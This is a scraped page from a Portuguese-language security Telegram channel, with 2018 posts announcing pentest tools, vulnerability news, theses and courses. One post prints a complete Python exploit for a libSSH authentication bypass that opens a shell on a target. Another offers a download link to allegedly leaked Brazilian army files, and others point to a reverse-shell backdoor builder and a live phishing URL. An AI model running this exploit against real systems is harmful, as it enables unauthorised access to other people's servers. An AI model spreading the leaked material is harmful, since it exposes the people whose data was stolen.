NEW BOT Телеграм, страница

Ruby Of Security

Escaneando vulnerabilidades com nmap

Nmap é um dos Scanners de porta mais conhecidos no mundo hacker, por obter várias funções e a possibilidade de usar noscripts NSE.

https://rubyofsec.wordpress.com/2018/10/12/escaneando-vulnerabilidades-com-nmap/

🌏@RubyOfSec

RubyOfSecurity

Escaneando vulnerabilidades com nmap

Nmap é um dos Scanners de porta mais conhecidos no mundo hacker, por obter várias funções e a possibilidade de usar noscripts NSE, Com o nmap, é possível verificar vulnerabilidades em dispositivos. P…

579 viewsedited 19:56

Ruby Of Security

Pentest-Machine - Automates Some Pentest Jobs Via Nmap Xml File

Automatiza algum trabalho pentesting através de um arquivo XML nmap. Assim que cada comando termina, grava sua saída no terminal e os arquivos em output-by-service / e output-by-host /. Executa comandos de retorno rápido primeiro. Por favor me envie protocolos / comandos / opções que você gostaria de ver incluídos.

🌏@RubyOfSec

https://www.kitploit.com/2018/10/pentest-machine-automates-some-pentest.html

KitPloit - PenTest Tools for your Security Arsenal ☣

Pentest-Machine - Automates Some Pentest Jobs Via Nmap Xml File

Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security ☣

612 views21:18

Ruby Of Security

Vazamento de Dados – Pardinho e PMMG – Lil_Sh4wtyy

Nosso sistema de Monitoramento Avançado Persistente identificou, em 18/10, publicação no site de compartilhamento de texto Ghostbin contendo vazamento de dados do município de Pardinho/SP e publicação no Twitter com imagem de busca de vulnerabilidade na página da Polícia Militar de Minas Gerais (PM/MG). As ações foram realizadas pelo hacker brasileiro Lil_Sh4wtyy, integrante da equipe ElitePentesting.

O vazamento do município de Pardinho/SP inclui nomes de tabelas da base de dados e credenciais de acesso (usuário/senha) em texto claro.

🌏@RubyOfSec

https://www.defcon-lab.org/vazamento-de-dados-pardinho-e-pmmg-lil_sh4wtyy/

DefCon-Lab.org

Vazamento de Dados – Pardinho e PMMG – Lil_Sh4wtyy

Nosso sistema de Monitoramento Avançado Persistente identificou, em 18/10, publicação no site de compartilhamento de texto Ghostbin contendo vazamento de dados do município de Pardinho/SP e publica…

403 views18:40

Ruby Of Security

Introdução ao uso do programa R : https://cran.r-project.org/doc/contrib/Landeiro-Introducao.pdf

389 views18:43

Ruby Of Security

libSSH Authentication Bypass

libSSH suffers from an authentication bypass vulnerability.

Bypass;

#!/usr/bin/env python3
import paramiko
import socket
import argparse
from sys import argv, exit

parser = argparse.ArgumentParser(denoscription="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")

args = parser.parse_args()

def BypasslibSSHwithoutcredentials(hostname, port):

sock = socket.socket()
try:
sock.connect((str(hostname), int(port)))

message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()

message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)

spawncmd = transport.open_session()
spawncmd.invoke_shell()
return 0

except paramiko.SSHException as e:
print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
return 1
except socket.error:
print("Unable to connect.")
return 1

def main():
paramiko.util.log_to_file(args.logfile)
try:
hostname = args.host
port = args.port
except:
parser.print_help()
exit(1)
BypasslibSSHwithoutcredentials(hostname, port)

if name == 'main':
exit(main())

fonte: https://exploit.kitploit.com/2018/10/libssh-authentication-bypass.html

Kitploit

libSSH Authentication Bypass

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

399 views18:52

Ruby Of Security

Falha crítica de segurança afeta VLC e outros players de mídia

Foi descoberto uma vulnerabilidade de execução de código remoto na biblioteca de streaming de mídia LIVE555. O conjunto de bibliotecas C++ LIVE555 é utilizado por players de mídia muito utilizados no mercado, como o VLC e o MPlayer.

Mantido pela empresa Live Networks, a biblioteca trabalha com protocolos RTP/RTCP, RTSP ou SIP, com a capacidade de processar formatos de vídeo e áudio como MPEG, H.265, H.264, H.263+, VP8, DV, JPEG, MPEG, AAC, AMR, AC-3 e Vorbis.

Atualize os seus players de mídia, como o VLC e o MPlayer

A falha descoberta deixa milhões de usuários dos media players vulneráveis à ciberataques, segundo Lilith Wyatt, pesquisadora da Cisco Talos Intelligence Grupo. No caso, a brecha reside na funcionalidade de análise de pacotes HTTP, que analisa cabeçalhos HTTP para encapsulamento de RTSP sobre HTTP, explica o The Hacker News.

🌏@RubyOfSec

https://m.tecmundo.com.br/amp/seguranca/135385-falha-critica-seguranca-afeta-vlc-outros-players-midia.htm?__twitter_impression=true

TecMundo - Descubra e aprenda tudo sobre tecnologia

Falha crítica de segurança afeta VLC e outros players de mídia

Atualize os seus players de mídia, como o VLC e o MPlayer

528 views18:55

Ruby Of Security

#SabiasQue #Ghostman #RFS

Sabias que ?

Ser um hacker ético é uma das melhores formas de usar o conhecimento sobre a segurança da informação, pois assim contribuímos para a segurança mundial.
Reportando vulnerabilidades, realizando Testes de penetração, etc.
O Mundo precisa de mais pessoas que estudam a segurança da informação para praticar o bem, ou seja, usar a ética hacker.

🌎@RubyOfSec

398 viewsedited 18:09

Ruby Of Security

TESTE DE VULNERABILIDADES
EM APLICAÇÕES WEB

Prof: NÍCHOLAS ANTUNES CINTO
Data: 09/16/2015 3:19:17 PM
Creator: Microsoft® Word 2013
Link: https://cepein.femanet.com.br/BDigital/arqTccs/1211330211.pdf

ANÁLISE DE VULNERABILIDADES EM
APLICAÇÕES ANDROID COM O USO DE
FERRAMENTAS DE TESTE DE INTRUSÃO E A
METODOLOGIA OWASP

Prof: DIMAS ALBUQUERQU
E MENDES
Data: 12/21/2017, 5:08:28 AM
Creator: Microsoft® Word 2016
Link: http://www.cin.ufpe.br/~tg/2017-2/dam4-tg.pdf

🌎@RubyOfSec

Para pedir algum arquivo que deseja, entre no grupo, vamos avaliar e consultar nosso banco de dados e verificar se temos o conteudo.; https://news.1rj.ru/str/rubyofsecgroup

532 views01:49

Ruby Of Security

549 views01:57

Ruby Of Security

LISTA DE ABREVIATURAS E SIGLAS

ADT: Android Development Tools

ART: Android Runtime

API: Application Programming Interface

APK: Android Package Kit

DVM: Dalvik Virtual Machine

HTTP: Hypertext Transfer Protocol

HTTPS: Hypertext Transfer Protocol Secure

IDE: Integrated Development Environment

IETF: Internet Engineering Task Force

RFC: Request For Comments

JVM: Java Virtual Machine

JNI: Java Native Interface

SDK: Software Development Kit

SSL: Security Socket Layer

TLS: Transport Layer Security

UI: User Interface

OWASP: Open Web Application Security Project

🌎@RubyOfSec

690 viewsedited 02:10

Ruby Of Security

WPScan v3.3.1 - Black Box WordPress Vulnerability Scanner

WPScan é um software livre, para uso não comercial, que é um scanner de vulnerabilidades WordPress em caixa preta escrito para profissionais de segurança e mantenedores de blogs para testar a segurança de seus sites.

Requisitos:
Ruby >= 2.2.2 - Recommended: 2.3.3
Curl >= 7.21 - Recommended: latest - FYI the 7.29 has a segfault
RubyGems - Recommended: latest

🌎@RubyOfSec

https://www.kitploit.com/2018/10/wpscan-v331-black-box-wordpress.html

KitPloit - PenTest & Hacking Tools for your CyberSecurity Kit ☣

WPScan v3.3.1 - Black Box WordPress Vulnerability Scanner

KitPloit - PenTest & Hacking Tools for your CyberSecurity Kit ☣: WPScan v3.3.1 - Black Box WordPress Vulnerability Scanner

405 views03:13

Ruby Of Security

CT-Exposer - An OSINT Tool That Discovers Sub-Domains By Searching Certificate Transparency Logs

Descubra subdomínios pesquisando nos registros de transparência de certificados.

O que é CT?

Transparência de certificado (CT) é um padrão experimental da IETF. O objetivo era permitir que o público auditasse quais certificados foram criados pelas Autoridades de Certificação (CA). O TLS tem uma fraqueza que vem da grande lista de CAs que seu navegador confia implicitamente. Se alguma dessas CAs criasse um novo certificado para um domínio de maneira mal-intencionada, seu navegador confiaria nele. A CT adiciona benefícios à confiança do certificado TLS: as empresas podem monitorar quem está criando certificados para os domínios que possuem. Ele também permite que os navegadores verifiquem se o certificado de um determinado domínio está no registro de log público.
Esses registros acabam sendo uma mina de ouro de informações para testadores de penetração e equipes vermelhas.

O que você pode encontrar com o ct-exposer?

O ct-exposer consultará os logs de CT para um determinado domínio e tentará fazer pesquisas de DNS para os domínios para ver quais existem no DNS. Na minha experiência, até agora, encontrei vários subdomínios que não foram localizados com as pesquisas do google: site: domain.com. Tenha em mente que os domínios que não resolvem podem ser domínios antigos ou domínios internos (Ex: você precisa acessar o servidor DNS interno para resolvê-los).

Requisitos:
Python3, gevent, requests e urllib3.

🌎@RubyOfSec

https://www.kitploit.com/2018/10/ct-exposer-osint-tool-that-discovers.html

KitPloit - PenTest & Hacking Tools for your CyberSecurity Kit ☣

CT-Exposer - An OSINT Tool That Discovers Sub-Domains By Searching Certificate Transparency Logs

KitPloit - PenTest & Hacking Tools for your CyberSecurity Kit ☣: CT-Exposer - An OSINT Tool That Discovers Sub-Domains By Searching Certificate Transparency Logs

409 views03:15

Ruby Of Security

Aprendendo JavaScript

Data: 21 de fevereiro de 2008
Prof: Filipe Del Nero Grillo
Renata Pontin de Mattos Fortes
Link: http://conteudo.icmc.usp.br/CMS/Arquivos/arquivos_enviados/BIBLIOTECA_113_ND_72.pdf

JavaScript Overview

http://www.fernandolobo.info/daw/slides/javanoscript-overview.pdf

1.25K views04:32

Ruby Of Security

Capture The Flag Write-Up

https://www.youtube.com/watch?v=3iYlpYLTn-0

🌎@RubyOfSec

YouTube

FLARE-On 5 Challenge 6 - Magic (Walk through - Reverse Engineering)

My challenge solution, hope you will enjoy watching!
Would appreciate subnoscriptions, likes, comments etc.

Feel free to contact me on twitter: https://twitter.com/LNadav
Scripts used can be found here: https://gist.github.com/Heartleak/93652288720e9237d340658f9e4290a7…

401 viewsedited 11:00

Ruby Of Security

http://www.hackingteacher.com/training-online/course/how-to-hack-websites.html

Hackingteacher

How To Hack Websites | Website Security Training | Hacking

Hacking Teacher is an IT based MNC which trains and answer you to how to hack websites. It also provides website security training

401 views11:02

Ruby Of Security

https://youtu.be/8SjztMbzi0k

YouTube

OS GRUPOS HACKERS MAIS PERIGOSOS DO MUNDO !!

OS GRUPOS HACKERS MAIS PERIGOSOS DO MUNDO !! COMERCIAL: contato@projetovs.com COMERCIAL: contato@projetovs.com

426 views22:02

Ruby Of Security

Phishing – Vereda-BA – PayPal

Nosso sistema de Monitoramento Avançado Persistente identificou, em 22/10, novo caso de phishing hospedado em página de governo brasileiro, no município de Vereda/BA, uma página que simula o serviço de pagamento PayPal.

Casos de Phishing hospedados nos domínios ba.gov.br e tjba.jus.br já foram relatados aqui no Blog no post Sorria, tem pescaria na Bahia e a saga da pescaria na Bahia continua.

O phishing pode ser acessado por meio da URL http://vereda.ba.gov.br/wp/wp-content/uploads/2013/05/public/myaccount/settings/

🌎@RubyOfSec

https://www.defcon-lab.org/phishing-vereda-ba-paypal/

DefCon-Lab.org

Phishing – Vereda-BA – PayPal

Nosso sistema de Monitoramento Avançado Persistente identificou, em 22/10, novo caso de phishing hospedado em página de governo brasileiro, no município de Vereda/BA, uma página que simula o serviç…

426 views01:37

Ruby Of Security

WinSpy - A Windows Reverse Shell Backdoor Creator With An Automatic IP Poisener

🌎@RubyOfSec

https://www.kitploit.com/2018/10/winspy-windows-reverse-shell-backdoor.html

KitPloit - PenTest & Hacking Tools

WinSpy - A Windows Reverse Shell Backdoor Creator With An Automatic IP Poisener

440 views17:34

Ruby Of Security

TLS-Scanner - The TLS-Scanner Module From TLS-Attacker

O TLS-Scanner é uma ferramenta criada pela Chair for Network and Data Security da Ruhr-University Bochum para auxiliar os pentesters e pesquisadores de segurança na avaliação das configurações do TLS Server.
Atenção: O TLS-Scanner é uma ferramenta de pesquisa destinada a desenvolvedores, pentesters, administradores e pesquisadores de TLS. Não há GUI. Está na primeira versão e pode conter alguns bugs.

🌎@RubyOfSec

https://www.kitploit.com/2018/10/tls-scanner-tls-scanner-module-from-tls.html

KitPloit - PenTest Tools for your Security Arsenal ☣

TLS-Scanner - The TLS-Scanner Module From TLS-Attacker

Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security ☣

532 views17:35

Ruby Of Security

Exército Brasileiro - Arquivo Secreto

Hackers Vazam Dados sensíveis e sigilosos do exército brasileiro, Não se sabe ainda o motivo do vazamento, Informações que cita o candidato a presidente (Jair Messias Bolsonaro).

🌏 @RubyOfSec

Download: https://drive.google.com/file/d/1Q7rEKbl2d4n7iJ_INKxFr1kbGb0dpC9_/view?usp=drivesdk

2.7K viewsedited 00:57

Ruby Of Security

https://www.redteamacademy.com/course/certified-ethical-hacker-v10/

Redteamacademy

Certified Ethical Hacker v10 |

463 views19:12

About

Blog

Apps

Platform